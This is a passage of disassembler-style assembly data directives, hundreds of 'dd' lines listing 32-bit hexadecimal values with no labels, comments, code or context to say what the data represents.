		dd 8691Dh, 3E047477h, 67E91229h, 0D7E4BA5Bh, 22DCBD58h
		dd 0CB1285E9h, 2EE489D9h, 91DC9DEEh, 34770183h,	1158B429h
		dd 275A78E9h, 0CC8E1090h, 0E00CD3A6h, 0FF1719B9h, 64BA0138h
		dd 1A4BE7Dh, 8F12A2EFh,	5FB4539Ch, 153A802Ch, 0CDEE10D6h
		dd 65C91179h, 18540C22h, 13063BE9h, 0BF0E5BD8h,	333C205Eh
		dd 550C10A8h, 2C0C4018h, 9034CB0Fh, 0CABB9731h,	0A6C45045h
		dd 4C670213h, 7B063105h, 0C925CB80h, 35C6381Bh,	4D2333FEh
		dd 0B5A44CB4h, 0F1E82EB4h, 2F55B24h, 46FC75C5h,	0DF96DA82h
		dd 1A25FBFAh, 0F76CDDA7h, 97EEDE97h, 1577BA3Ah,	54C3F5B2h
		dd 0F3C196B1h, 0A0030760h, 6BA9AFE6h, 25621853h, 52EB9514h
		dd 8030C217h, 559B81FFh, 5E1C8C2Fh, 440B2C56h, 0D4BFC76Ch
		dd 4C7E2F15h, 77F38989h, 0E9858579h, 18014B9Fh,	0FD9CF288h
		dd 5A65102Fh, 81FE93C4h, 3ED12159h, 8E527F8h, 738270ECh
		dd 0E0762659h, 17B6C2F8h, 8261430Bh, 88CEA57h, 2540AAC2h
		dd 5BD96C88h, 455E7116h, 3B219139h, 6371FE3Bh, 0A0BCF97Ch
		dd 219F60E3h, 54C20A2Dh, 0F5B18C1h, 68F87F96h, 0BB884B4Fh
		dd 3EBAFC52h, 0F7983EAEh, 60F22AD2h, 577E9E7Ch,	60D89BDh
		dd 0A2DDBE95h, 0E0AD6CBFh, 0E9909710h, 124159E9h, 1387BC6Ah
		dd 30C976F9h, 82A1B860h, 0BDE3445Dh, 65F16E5Ch,	2D3DEE3Bh
		dd 0C8668C2Bh, 0A4054E5Ch, 3E491AAEh, 860D65DFh, 297D9468h
		dd 0DB2CB927h, 8CA7BD89h
		dd 2A5F37C1h, 21182CEAh, 5A204F63h, 69DADD58h, 148AEF4Ah
		dd 81E1C01Eh, 2CF4E980h, 53C8C0A1h, 0F80AB762h,	0E5D1F75Bh
		dd 51549A69h, 0EB5B13C9h, 0F52E2E31h, 0B8F19Dh,	40168C53h
		dd 0D3CD8F7h, 4A0903C0h, 0D85F2325h, 2040547h, 0E9BCBFA1h
		dd 0CB7C7E27h, 9F641150h, 75A7D776h, 0A43D7465h, 0C51D2C54h
		dd 33C192A0h, 0E74F284Fh, 0FE0569F1h, 0D1011774h, 215EB17Bh
		dd 383EB521h, 2883394h,	3AC0892Ch, 10A53FC7h, 0ECF4F2A1h
		dd 308E1334h, 0B74C04C1h, 0A3B00552h, 257879A8h, 0BB014EB6h
		dd 0DACE3024h, 4710895Ch, 0F1295B12h, 0F03A3119h, 18D66231h
		dd 2DBB50A0h, 27016D73h, 20A34F97h, 5ED5368h, 0E30CF0FEh
		dd 21EB2A4Fh, 2E0F2C42h, 4E250931h, 51179732h, 48CFF26Eh
		dd 401F5458h, 9E302D3Fh, 4BD60D95h, 3DFEAFC5h, 4047303Ah
		dd 0A542F9B4h, 0D4A409BEh, 8066F0D3h, 64EA38h, 0D2045AD0h
		dd 4828C72Ch, 422532E8h, 777BCA75h, 0FCE1BF0Eh,	3A01D5E9h
		dd 0FD56862Ch, 0AE2B87DDh, 0EAEB5E73h, 1F4F7E58h, 9960DE2Dh
		dd 24C409h, 2DB15FB3h, 67C13042h, 7A7561C3h, 7DD6A7B1h
		dd 0F7E10096h, 0C91D1E21h, 845879DDh, 2FFBB19h,	0FD8958C7h
		dd 8EA2D62Bh, 44DD4CA5h, 0D7E6043Fh, 0BC652359h, 0A24E253Eh
		dd 0F111C2DEh, 2ED42B5h, 9220DFC4h, 0D9292F7Ah,	32556A32h
		dd 0E98FC5B9h, 5ECBBBFCh, 0F69842D7h, 0F90EC751h, 32E137AEh
		dd 6007FA00h, 27717903h, 0EFF65AD7h, 23914C65h,	0BDC85566h
		dd 9FDE98BFh, 5D69FCAFh, 0C908FA56h, 1326ADh, 19D1B74h
		dd 1C485721h, 3F592865h, 67D7C74Fh, 9D4778A9h, 0E9DDB05Fh
		dd 0B7E49A2Dh, 36F81CECh, 6EB947C0h, 5AAEB88h, 7B18D72Dh
		dd 5ED8265h, 69E90781h,	70496E6Bh, 56165559h, 466EB025h
		dd 826EA222h, 75D2E972h, 149032A9h, 0AF9129D5h,	0DB1CA7BDh
		dd 0F58100FBh, 0E2CD37F9h, 599D0E90h, 2EDD2F1Ch, 0C2EED744h
		dd 7B435A50h, 0C00ED5EAh, 181B28BEh, 2B759D50h,	0CF6163F6h
		dd 0D4FE0B6Bh, 94E95B76h, 21CE5291h, 0A4203C5Ah, 0C06813F5h
		dd 0C5ED341Fh, 5F9C4B06h, 7DF22CF8h, 5BD3E1BDh,	0D972996Fh
		dd 37006DBh, 6E63F9CFh,	60EA4F54h, 0BE016A5Ch, 3DDD1AC1h
		dd 0B52DBF2Ch, 6ABD2D40h, 454C7F1Eh, 0D5D28B89h, 0B130819Eh
		dd 0A6C51D45h, 103D0109h, 6DB7BB53h, 4BA0A7ABh,	0CDA9C3B4h
		dd 4C3CE904h, 9CDD5E09h, 441E2D6Ch, 296F0474h, 0B5C0F01Fh
		dd 5B51CEDCh, 4E40EC60h, 0A1F1B8C7h, 5D00E67Ah,	3D1E8535h
		dd 0ACCB6E32h, 5266DCD6h, 557F62FFh, 7B959894h,	2D8402C9h
		dd 740E0841h, 0CC7E629Ah, 9E57066Dh, 725C90Fh, 20DBEF67h
		dd 1A60C8BFh, 14E2BF5Ch, 3CA856C1h, 27EAA00Dh, 584F2E28h
		dd 0C391DC4h, 47D04DDEh, 77713F18h, 2D28230Ch, 88FD7688h
		dd 0F0280811h, 0D8C9456Bh, 336B3826h, 85DE9570h, 552BC272h
		dd 58F43EA0h, 0B2C9561Fh, 0FAD882D1h, 71C10FBEh, 54631B53h
		dd 3C8482B6h, 0E4C5AAA8h, 0FD6012DDh, 0A011E5E9h, 16760D6Fh
		dd 5F5F4528h, 3582C954h, 5AB1D87Eh, 386F4A58h, 0BDFE5235h
		dd 0D6F30D4Fh, 239E3079h, 8087B7C3h, 5113C709h,	795A02B5h
		dd 49B102E8h, 9A6DAFFh,	2E1368D9h, 0BC7998DDh, 7EC2FC0h
		dd 2843D307h, 0DD2F77BBh, 822C5114h, 4DD732A0h,	8102B34Ch
		dd 333CF3CDh, 0EB2A5456h, 8D0F29DCh, 89DB67D9h,	8B17A0AAh
		dd 81297A23h, 5FEC1AD1h, 6675A11Ch, 5B30174h, 58E33034h
		dd 8F3ED188h, 30F83FDAh, 894C3DA6h, 0C6011291h,	6441CC09h
		dd 42FF8A0Fh, 5E84787Fh, 8048B45Eh, 202B7A13h, 705EDE1h
		dd 84FBDC0Bh, 2D006764h, 3289031Bh, 421EE7EAh, 0CC820E43h
		dd 57C31D2Bh, 5C459ED4h, 0E14EE082h, 0C9BA4A7h,	7E0B067Ch
		dd 56FEF41Fh, 7642623Ah, 165CDF5h, 49A5B850h, 0A270205Ah
		dd 0C1292EB7h, 3933B77h, 40F2B86Fh, 1325A08h, 0E1555FCDh
		dd 0FFC21BA6h, 5F52A879h, 1679976h, 8A5812E8h, 685100ADh
		dd 6A536116h, 92E725E9h, 5F33687Fh, 6B2C80B5h, 6F603790h
		dd 5059CDB3h, 3028581Ch, 882FC600h, 0DCB95126h,	0DE91053Fh
		dd 0F1F200EFh, 5F4A0DC8h, 20212C8h, 0B72B22Ah, 288240F7h
		dd 9F719782h, 0DA7C488h, 30E6D366h, 0F241861Eh,	9E12D376h
		dd 5CB3C834h, 92CD799Dh, 426FE090h, 87D720E3h, 3CE5530Dh
		dd 137A1C4Ah, 0CB06E6D2h, 0EF16228h, 4E68FAh, 68565574h
		dd 3F5801ABh, 0E26A2495h, 84D1F78Bh, 0AF8C2498h, 0BD681255h
		dd 278C8942h, 0E0162726h, 4F3B6814h, 584DE354h,	9821D7Ch
		dd 0C3B90140h, 170A2772h, 0FD6A2AE9h, 0E2BBD220h, 9821D3ABh
		dd 0F701F016h, 83B33ED2h, 16588A44h, 0A87F3690h, 0C481768h
		dd 9B272CBEh, 0ACFEFB27h, 4B4112EAh, 2788AEA6h,	65D117B9h
		dd 540BB830h, 6AF92C12h, 2B51E28h, 0DDE58069h, 28DC1BE9h
		dd 4421752Fh, 0EB0AD137h, 6B8772F1h, 0EAF4B4E9h, 0BCF653ECh
		dd 82E165BDh, 3BE468DFh, 0F146C1A4h, 8DEC3A71h,	0C9F150C7h
		dd 0B43DAC53h, 0CEA91776h, 7613AE5Ah, 0F0020192h, 7C9E9556h
		dd 0EC6EE915h, 2CD13DC6h, 281227CFh, 5CA72FDDh,	0D2A608D5h
		dd 0CE07772Dh, 0A6E96729h, 4D4C3237h, 0E5C104C7h, 0D3C04507h
		dd 0B93DB03h, 562E988h,	7FA77774h, 59D586C2h, 6AFD4BB9h
		dd 72F67EA8h, 7B97CB78h, 2EA5A0F2h, 7040A05h, 6BE42964h
		dd 58188AD0h, 150C0BF6h, 0F4E83F94h, 5401FFDBh,	0EE56F69h
		dd 0D2080409h, 0D6552BECh, 685260E7h, 79950891h, 0FA7392D3h
		dd 7FE9FB05h, 0B2F757B0h, 175424BBh, 9BFD9EDDh,	740508D7h
		dd 9E8CBA1Ch, 44CEF3C0h, 0B6466021h, 59E2377Eh,	690B58B0h
		dd 70D573h, 0A32A1E16h,	5C15B240h, 5C9C9BDh, 0F81AF857h
		dd 9F459A4Fh, 0C35106F2h, 70A82E2Eh, 0B6F7FFE5h, 5C982A17h
		dd 2CD007D8h, 0C935A3CEh, 0EED11413h, 803043ADh, 0F221380Eh
		dd 828B95A0h, 0B2C18380h, 529C0B1Ch, 0B2041F17h, 0DCB103FCh
		dd 9B06EBC0h, 13C49DE1h, 15F2FEC1h, 538B5D2Ch, 88390416h
		dd 0D3F32FC6h, 0B05D2F67h, 0FA01B6B7h, 12E92A4Fh, 0FD1EA285h
		dd 7D9D463Eh, 570BD11Ch, 0E6158868h, 4F4430A8h,	0EB015FAAh
		dd 0EF247BB0h, 0DB9C9DD7h, 6D0BD392h, 7650D81Ah, 44514EB2h
		dd 8B29536Ah, 0A1F51E06h, 52F1370Ch, 1DDEB55Dh,	95B15527h
		dd 52FF2B37h, 2023C04Bh, 0C097D55Eh, 3105C9FCh,	81D71E7h
		dd 0FAAC016h, 1FE50F97h, 930C4414h, 0D19E650Bh,	15E126Ch
		dd 47A630A0h, 0A2FD2B67h, 8FD3E909h, 0BA88CE54h, 91B2875h
		dd 7351016Eh, 35040C76h, 0D98413F2h, 0C13E1EAEh, 0E94B07EBh
		dd 0CD062A26h, 36451ADh, 1DDF2328h, 31E945B9h, 7B48210Eh
		dd 80118B4h, 8CDBE9F1h,	1F0EE824h, 7BEFDD30h, 8C34876h
		dd 5417BAC9h, 0A786DD04h, 0B4059551h, 45B04Fh, 0B1017408h
		dd 72B7E931h, 0FD9FA010h, 64CFBE2Ah, 0D2ADAA5Dh, 344968CFh
		dd 41550919h, 446E2786h, 0C1861E9Dh, 0F80ACA25h, 3F803F6Ch
		dd 4AC9FCFDh, 7E0CB1EBh, 7600B116h, 2249B4F5h, 969836h
		dd 9BBB5302h, 3147272Ch, 45CADD62h, 90467DB1h, 0F10AEC25h
		dd 7F508BEBh, 0A9B09FD6h, 0BDC72BE9h, 22A7DE73h, 77172C06h
		dd 0F3278DE6h, 1096F7C9h, 859580Fh, 0B36BB8FDh,	0D61C452h
		dd 77BA00C0h, 0F413BF6Ah, 0F2745BCEh, 0EE68835Dh, 0E2AB8405h
		dd 714EC794h, 0F68162C0h, 0C8081620h, 8E450837h, 0C012C22Fh
		dd 27799169h, 0C158756Dh
		dd 0B5660AEAh, 0B0CB7288h, 9D681787h, 0C0B6EC44h, 0E28840B4h
		dd 0B6D07358h, 0CD12439h, 0B536A3BDh, 0EF4B9F70h, 0F3808CBAh
		dd 73249AB9h, 22A6CE01h, 79301E26h, 88082709h, 16B535F0h
		dd 0EE09082h, 77A3473Fh, 2B4159C9h, 41997006h, 74580C16h
		dd 694605BBh, 0D6D1491Fh, 0B5EEE800h, 3E50701Bh, 0DF050886h
		dd 77E9E799h, 0C114CCBCh, 8B10FFEFh, 0DE88033Ch, 97F0865Bh
		dd 93CB30E3h, 510827D9h, 68DECEB0h, 1A4E3424h, 87A30F69h
		dd 0E21BE9D9h, 93ECF7FCh, 0D14CFC00h, 1BE58149h, 27F0241Ch
		dd 0A50E8572h, 0C6918013h, 2609254Dh, 713B91E9h, 5FC5286Ah
		dd 0EE7D12A7h, 0F0F47399h, 0EE71CFF6h, 366C0D3Eh, 0E962F6CFh
		dd 0A6C95457h, 4B50015Dh, 0F04323EFh, 18B7AC96h, 826AF69Eh
		dd 0D0032360h, 0DFD9E5E7h, 0F18008E8h, 0FDEDC473h, 0C1C3F728h
		dd 2C3F58EBh, 0FBC99F07h, 69B05CFEh, 0AB57631Ah, 0A4460D1h
		dd 7DB75341h, 5CC7FE39h, 144A1386h, 6AB329BBh, 50400329h
		dd 5E2B1916h, 17BC8797h, 90E93180h, 7E5D0282h, 1DF1A735h
		dd 1223D825h, 0F3727C68h, 7A167C89h, 0CA1115FEh, 0C3007AB3h
		dd 353C5B45h, 4E261AE8h, 0E9080701h, 1C773B6Dh,	6A229572h
		dd 6DD35C62h, 85080E14h, 0DD00F818h, 0C84C97BDh, 0CF20B740h
		dd 5D3799FAh, 23E8E912h, 2FE2FDF4h, 80788F47h, 0F646BB09h
		dd 0B9A0068h, 807AF333h, 0F027AB3Eh, 0D794899Ch, 0E98B7051h
		dd 0D0D31225h, 805F7E61h, 2026C280h, 0A5399530h, 16BEC6E8h
		dd 0A175E950h, 41AF3E62h, 0EC6EDD3Ch, 7E55C40Dh, 0D44A8F25h
		dd 6CAF58A7h, 2737695h,	0C8A3D611h, 0EDEB02FDh,	0D5742B47h
		dd 62AF4A25h, 0B378753Bh, 0A522C59Fh, 0AEB04510h, 4B8914B5h
		dd 5CB20B77h, 9D0C757h,	0DF4243E9h, 0B969F9D5h,	0B74546B1h
		dd 5CEFAF85h, 1DD983BFh, 0BEF260DDh, 0D99FA250h, 0D9DFC93Ah
		dd 0DB2E33Bh, 55515409h, 0B5936857h, 0E1C10527h, 0AC6FE905h
		dd 5024FB1h, 0EA013F3Bh, 8D04892Eh, 0E13F1E55h,	6F1E7BE7h
		dd 0A6C464D3h, 7D0287F8h, 11FBC5Ah, 0B0E96C7Dh,	490E09ACh
		dd 85E041A4h, 977D3A30h, 0F6E88BBFh, 2290456h, 4CF0AF37h
		dd 9F9E3F2Dh, 0D5D5E9BEh, 62A086BEh, 802C537Ch,	0A4A54108h
		dd 2F946930h, 0FBB564ABh, 0E98EEAB6h, 2932EB4Ch, 2EB8C651h
		dd 1A8DF8B0h, 0C63F63Bh, 7EA4DE56h, 7555E227h, 7B634D59h
		dd 0C07E4FEAh, 38532691h, 0F7FA6176h, 0EEECF3FDh, 28A4F9B2h
		dd 342FE9E0h, 0E6D68F9h, 0A8578117h, 0BD3D837h,	25BE9D00h
		dd 1254D719h, 0FA3C8FE9h, 0FE10B9E2h, 6CAC4B78h, 0AE2DFFF4h
		dd 9666E92Ah, 0C26ED0FEh, 8525E951h, 7FDEC824h,	0C08B7F73h
		dd 327BE50Ch, 0D7510107h, 0C0806E6h, 93201482h,	69BE2F74h
		dd 0F46175B0h, 485DE8B1h, 833B3328h, 222D04FBh,	0C00F4ACBh
		dd 2C441A4Eh, 0C5295F14h, 580840A7h, 0EFA15595h, 81C25BE9h
		dd 1F75CE9Dh, 0B8703048h, 451313DAh, 4A2EA87Ah,	3E160EF4h
		dd 2F67E71h, 0FB87A7C3h, 0BAC009F6h, 0B2EE94Eh,	0E093CAAAh
		dd 58573C80h, 4F4A5F35h, 0C992F444h, 79F26E68h,	7255199Ah
		dd 392E2411h, 685150E3h, 66737227h, 0E3CA500Ch,	0B5E91A08h
		dd 0CE591A22h, 67C9C181h, 0AF605E79h, 0B8AB850h, 58468B6Dh
		dd 1C6AF5h, 984069E3h, 60053F0Bh, 224B91Eh, 72A9225h, 0EEA92E0h
		dd 4BCD3180h, 13F1BC59h, 0A680E7D1h, 90AC3B2Ch,	771816DCh
		dd 3051026Eh, 0ACDEFEF5h, 6C75614Eh, 0E8DB61F8h, 98435D76h
		dd 82AF7ADDh, 4B39F45Eh, 0FFBA17AAh, 0AA2AA28Ch, 4D7C55D7h
		dd 1364AE59h, 0AAC2EC59h, 71E377B5h, 0DB684709h, 92DF5678h
		dd 0E288BA5Ch, 282D9627h, 80E4F8C4h, 3B02B7BEh,	9E687874h
		dd 5F187713h, 749D5C4Eh, 2009E574h, 0FEE888DDh,	8243FB99h
		dd 0BB974A33h, 0A9A59F40h, 12317C52h, 0E03DE9F7h, 7D9D66E2h
		dd 765737B2h, 14E9615Ch, 68415080h, 67C57A55h, 31FB376Eh
		dd 6E72A94Ch, 0C52CFB9Ah, 5CE040EFh, 0CDA042ACh, 15276AB5h
		dd 0AC195134h, 0B9360528h, 68FD4576h, 4A0ABCC9h, 5840DAAAh
		dd 21F62DFDh, 7F69F719h, 40027896h, 5F48024h, 47F4C4FEh
		dd 306A2B55h, 2C809636h, 0C8283DDCh, 242998F4h,	0A48620EBh
		dd 630908F1h, 0F1060727h, 5FEF0A92h, 0DC272FD1h, 0FB78A864h
		dd 0E10FD07Eh, 0A04A5A1Bh, 7D03DAC0h, 0E1434AEDh, 0A40368F6h
		dd 12FC8456h, 0A8AFB605h, 0D3E484B0h, 76B15F25h, 7F412AE8h
		dd 332A7E46h, 275AC9D8h, 58DE5426h, 156F7900h, 921AE957h
		dd 0FAF8B0D5h, 6B9617E7h, 0EF950F0Eh, 2E757A22h, 59AB9360h
		dd 0AC1E5524h, 93742502h, 2FF7781Ah, 0CF64602Dh, 9208BB04h
		dd 0B8EE235Fh, 509C8B98h, 658702Eh, 0E2805BDAh,	1A6F182Ch
		dd 4DC91DDDh, 0AFDC535Eh, 5550B99Ah, 0CCC7E01h,	0F281EAD1h
		dd 0DC2B4FFh, 0AC4C7789h, 52BE6AA0h, 56612C0Ch,	5F6489F7h
		dd 2B4D29Bh, 75743660h,	3562DD00h, 4DB9EFBCh, 0C8C65E01h
		dd 3FB85D29h, 0B7D5DABDh, 445BFB58h, 5F50580Bh,	5C84C747h
		dd 0CCEFC821h, 7D4BE926h, 0F968D4C0h, 1C5DEC6Ah, 86DE875Eh
		dd 8D2F7D3h, 87F010D3h,	8B6E0D45h, 7B8E536Ah, 0B72BF0F1h
		dd 3768C558h, 0E9CF30EEh, 3BC18DA6h, 2D725CEBh,	7C69717Ah
		dd 0C5238735h, 40C4251Dh, 3363BE80h, 9A30FDDBh,	0B8EDE605h
		dd 7A9148A2h, 4865B981h, 0C9E6206Bh, 3A4D3B0Ch,	12AB0C28h
		dd 1E386F25h, 940E87B5h, 0C384F927h, 0DB6FC89Ch, 31FEEE26h
		dd 3253FF6Fh, 68C254ACh, 9051522Ah, 20BEDB7h, 7473EC1Eh
		dd 3563629Bh, 0C27A9F5Eh, 0D2CAD707h, 0A0E52EC1h, 132D3C7Ah
		dd 16212205h, 0FD92F7C5h, 0DD9E29F5h, 5C17B75Ah, 0C0AF2D58h
		dd 3E0D5A65h, 7B290C12h, 0F7F406FFh, 2020AD8h, 14B1BF57h
		dd 943DF76h, 41DF47CAh,	0B8489947h, 38FC97C3h, 0B9BBA63Dh
		dd 1627B887h, 81BE1304h, 755DC809h, 0A5942AA8h,	8B30C2A9h
		dd 90E952DEh, 0A53FDDB4h, 0FBB78521h, 901DB3BAh, 4C250486h
		dd 50AE71E3h, 57550887h, 0D3E2A22Bh, 0E91735CAh, 64DA4BA3h
		dd 52555EF8h, 0A52D79ACh, 11D8C246h, 2575948h, 247B4D38h
		dd 207B5E37h, 82D39707h, 0E419A10Bh, 805B6BF3h,	98F7D80Bh
		dd 77B50CAh, 83454BCCh,	0D587F2EDh, 0CCA6AB4Bh,	4C8D0E1Ch
		dd 0E9EE2941h, 0E07841A4h, 8A552CAh, 870E27B7h,	8C2CE4F3h
		dd 55C48D89h, 293D32A6h, 88BED4Eh, 69160E7Bh, 985EBDF0h
		dd 6F4A1856h, 5AD2F4C0h, 0A0CAD4BCh, 0CA52A102h, 0C2C9606Eh
		dd 2EEF3055h, 25075F38h, 49FF405Bh, 280056F7h, 496E37ADh
		dd 6836BE04h, 82AA6A6Dh, 9FDACD2h, 2F00CDB6h, 0B57BFEB1h
		dd 0E0EB6C57h, 0D625019Fh, 2D14FD5Ah, 29E5CE00h, 68521625h
		dd 0FA245DD4h, 0F82B7F80h, 6225E912h, 0F7946803h, 9D25279Ch
		dd 91023B7Eh, 40302415h, 7710A536h, 75D6956Ch, 1CD00820h
		dd 98E91F14h, 9E40D66Ch, 0BF3E4A08h, 26BC065Eh,	2208284Dh
		dd 57BE013Ah, 283C1F7Fh, 0E87F7371h, 1160CE25h,	8A720873h
		dd 58E3FE10h, 5B2F15F8h, 258D5812h, 67ECDF02h, 9A105D97h
		dd 0C19686E9h, 0FCA15916h, 937CEE2Eh, 0AE084EA1h, 7EB1DD74h
		dd 5599EC10h, 1034FB80h, 90B416Bh, 9D0CEC24h, 0D21D33BFh
		dd 68B1E806h, 0CD205BBAh, 3C8FF90Ch, 0CBAA4FB8h, 5E9093Ah
		dd 9ED2B1Ch, 637E2DEDh,	0A5BE6F45h, 605D3497h, 0DECEAE9Fh
		dd 265B4304h, 22513EACh, 5C4C89E0h, 2F7A5AFEh, 6CCC31Bh
		dd 0CF5A7D98h
		dd 0B35BE7B7h, 3EEC970Bh, 0A06FD041h, 17092FF6h, 0D55D51E5h
		dd 0F0219E90h, 0C48B3BDh, 0E07AE906h, 0DD48F720h, 668001DAh
		dd 0EB897446h, 1651AF74h, 0EE5FD548h, 0DC074D4h, 180AFDECh
		dd 6154BDE9h, 0C9955DE8h, 5564559Ah, 7BF02C68h,	4E6A48h
		dd 37E6295Bh, 0BD647BBh, 46617ABCh, 9446F587h, 2F34506h
		dd 28296EDEh, 2DB4E04Fh, 7A6C206Bh, 54773408h, 461F0523h
		dd 0B49A0902h, 0BA00D1C2h, 37F7125Fh, 0AF3053B5h, 0D12D4AF2h
		dd 0EFD7DE45h, 0FA818B65h, 0BED8A8Ch, 3135B755h, 0EAC04D92h
		dd 0E8620DE9h, 1962A0E3h, 0E7A03F50h, 5B8840B8h, 0E91BE7E8h
		dd 0B359A055h, 12DC775Dh, 0AB1C8176h, 0D0CD49F0h, 0C6400B8Ah
		dd 970513CEh, 0AA0244Bh, 2F455A08h, 5F043C55h, 4B42BC68h
		dd 5B848EFEh, 0E2265EB6h, 0E57DA70Eh, 0E1FD0D35h, 534980F0h
		dd 0AD761768h, 0B45B5A45h, 740B6543h, 0DE296FFCh, 250CC8D5h
		dd 0D12D0954h, 14E967EEh, 966E482h, 6634E07h, 0D3D2D40h
		dd 915FDF38h, 28EF47Fh,	0AEDE5505h, 0BF0B123Dh,	0C639E891h
		dd 2AC8BE03h, 21173310h, 0ECAD5EF7h, 546E0B76h,	0F7841FF1h
		dd 5A68D828h, 0FBFE840h, 61624890h, 0D9608A49h,	0D52CF75Dh
		dd 0DCDD595h, 0CC384B39h, 0E130AB5Fh, 3059C820h, 5E25F131h
		dd 104EB268h, 0F880DC99h, 0EA416DAh, 0E9162A05h, 0BAA1F15Bh
		dd 82326A30h, 0B227B090h, 0B2BF10D3h, 12AB5FB2h, 81F7EF2Dh
		dd 67165F94h, 0E00E90Eh, 605BD987h, 82F681CEh, 0E4A8279Dh
		dd 0B552B660h, 5CB011BDh, 200844C2h, 919EE0F5h,	0B5FCA3C4h
		dd 0EBD9274Fh, 51D3ABABh, 0F409B724h, 0C0FB7DC5h, 8868E9C1h
		dd 0D731268Bh, 17EC1CB8h, 0A407B4B9h, 0C1E2B278h, 811942EEh
		dd 6ACD4FA5h, 0F8E8D7D6h, 1820B4Ch, 0FA715CFFh,	8555DBFBh
		dd 0DBE0FBCDh, 0F8549772h, 8014F06Bh, 0BE82F748h, 0A995675Ch
		dd 159827EEh, 67AE784Bh, 0C49EB3A5h, 4FE4144Ch,	14908B98h
		dd 0C177402Dh, 22463F00h, 0B32AE956h, 0AB2C30C7h, 891AF75h
		dd 1830FA89h, 9AF2F4DAh, 0F55955BFh, 67645F45h,	0A4BEC2D5h
		dd 595AE982h, 0C713A884h, 82BFE7BBh, 0D456A0E9h, 0ADCC88BFh
		dd 5897BA00h, 12BD0E1Fh, 0AAA922F3h, 61427713h,	0D7096968h
		dd 35F9EF18h, 0E1DF2327h, 0C17A26E5h, 3EE494B4h, 52DC6661h
		dd 1BC2E00Dh, 48542B92h, 0DE02BDBAh, 113EC90h, 7B7E5DEEh
		dd 0FEF2DC62h, 0D684133h, 0A19D3D5Bh, 6C249171h, 0E55258CFh
		dd 8A30E612h, 7D5F6B08h, 0B66C3C00h, 0E92F413Bh, 300C8311h
		dd 0DD73BBD3h, 0AA4A04A9h, 0DD891D07h, 4454EFD2h, 35C30EC9h
		dd 0CFCF14D7h, 4B34663h, 0D2D91804h, 4EA9D58h, 92ACB4Fh
		dd 42106066h, 35E282DFh, 306F7B75h, 583CE9A7h, 17F34797h
		dd 62EB0589h, 0A31BB9Ch, 2C01D9A2h, 7BC76A18h, 45B65940h
		dd 0E4C63180h, 0D828CF06h, 0B34803E9h, 0B2BAD370h, 82FAD202h
		dd 0F0DF2D8Ah, 0BC494FFh, 0CED5D672h, 0BD3F96CEh, 0EAA9D325h
		dd 580DE177h, 0CB8ABC6Ah, 642E5722h, 0B97799CEh, 130784E7h
		dd 0BC9E0112h, 2A307A62h, 0F8659E13h, 0F5434D9Ch, 0FA5B7263h
		dd 62BA2528h, 52D2B716h, 7C81C1D5h, 953A51E8h, 0E92099F5h
		dd 8334ECEDh, 0FA5C0FF1h, 0CE661521h, 0E23DDB46h, 62B31D25h
		dd 1ED2F282h, 6A835D2Dh, 0A975DF8h, 623900EAh, 0FA01DE7Bh
		dd 68CFE917h, 533C7FA9h, 5D29B716h, 72763266h, 112EF8C0h
		dd 0DF400825h, 0A1314921h, 0EB367054h, 0EF815660h, 4EDAF6F3h
		dd 408DB8EEh, 9E09E617h, 804CD05Ah, 0AC0A7139h,	737EB578h
		dd 66058D10h, 0BD640F68h, 0FC2D773Bh, 80307179h, 52505319h
		dd 882640B2h, 420BB3D4h, 5199DCEAh, 34C12456h, 78E43712h
		dd 7409FECh, 72CD5889h,	6803E44Ah, 1827C7A6h, 0FF52A620h
		dd 4BB2F603h, 0AEF2D212h, 0C924747Ch, 0A40EEF2Dh, 462F1314h
		dd 155A3554h, 0E3F49A2Ah, 0A9EEEB05h, 0D7AC019Ch, 0F0E88316h
		dd 282F804h, 7E894CC8h,	0F6556172h, 82276141h, 0EC7C62E5h
		dd 1761F742h, 0B8567B0Eh, 0BBB0D2ACh, 0B6722372h, 0CB04437Fh
		dd 37453A39h, 0FE1F8A80h, 210C358Dh, 77BD008Ah,	0E92F294Ah
		dd 2863F650h, 21F81C4Fh, 3F3AD3B7h, 5DDBE112h, 402AA321h
		dd 20C20101h, 6B12D06Dh, 49AE5C91h, 64814E51h, 0EECF7994h
		dd 57E0067Fh, 97BC7EF8h, 0B27F66C6h, 0EE331388h, 0E8291458h
		dd 5D04072Dh, 0D8075568h, 574BCEEAh, 1A9D888Ch,	8A72BD22h
		dd 4A4E4740h, 0C2B6E92Dh, 818A7EBDh, 0B55166CCh, 0E10E9BCAh
		dd 1AE9E906h, 0ABD7122Ah, 5648498Bh, 0BFE05AE2h, 0F8B41A4Ch
		dd 4AC06163h, 2581ADDBh, 0C44FD5Fh, 0FD1CE912h,	6D351101h
		dd 2DC8A87Ch, 7F46045Ch, 0AAC5219Ch, 0FB4C6561h, 0BDB81F04h
		dd 7B8461C1h, 0E2281A05h, 0F79883h, 2F9EB824h, 7CBA6241h
		dd 25064816h, 3F1E3800h, 1629338Ch, 0E078E9CAh,	4D48455Ch
		dd 566B0568h, 0EE08C936h, 17011722h, 8956BFE3h,	0AB0CC5AFh
		dd 2CACAA2h, 2C200A6Ch,	48796A1h, 0BEDB2866h, 0FEA26CFDh
		dd 0F58891D6h, 272026DBh, 0F0BBA9F5h, 443696C1h, 804CB85Eh
		dd 1A15C181h, 0D778626Eh, 665FBB87h, 565F0979h,	0A4846852h
		dd 0E508EBADh, 98BE0F86h, 0A728C307h, 0F0F31CD2h, 82FB054Ah
		dd 5D45E31h, 7F44604h, 490EE9C0h, 184561CAh, 6AE07B3Bh
		dd 806FD89h, 814821Ch, 2833208Dh, 9C821858h, 8EC3BFCEh
		dd 260E164Dh, 82016FBh,	15F7E913h, 0F07F365Dh, 0FB6C4867h
		dd 7FBC83D2h, 6CC0D559h, 5492366h, 21E9F501h, 30ABAD27h
		dd 0FF2D065Dh, 16CC3F6Eh, 8576D9A4h, 0B9104068h, 0F4A696CAh
		dd 4E73F10h, 6ECD6853h,	27E69AAFh, 0C2C2B45Bh, 0DFAFE95Fh
		dd 4F2564DDh, 7A22E5BAh, 0C83E6EB5h, 3812952Fh,	3A2D4DA1h
		dd 6C2CFB2Bh, 8E2D49E9h, 0D6F74E0Dh, 0E09BE804h, 0B4C8FE4Ah
		dd 54D70DF5h, 2FAC15E6h, 25E986B4h, 0EB460DBFh,	0A513465Bh
		dd 50C6801h, 0B17A707Bh, 30EC3F64h, 730E9590h, 0AA131358h
		dd 40D10309h, 5EC9681Ch, 3C8F314Fh, 8AF63E46h, 0CDAC543Dh
		dd 4201AC05h, 7D4AFA58h, 0C898D343h, 3D060F05h,	87596C1Dh
		dd 0F61C4FEBh, 205B4CDCh, 315C4B8Eh, 0F950557Eh, 0BD522B0Fh
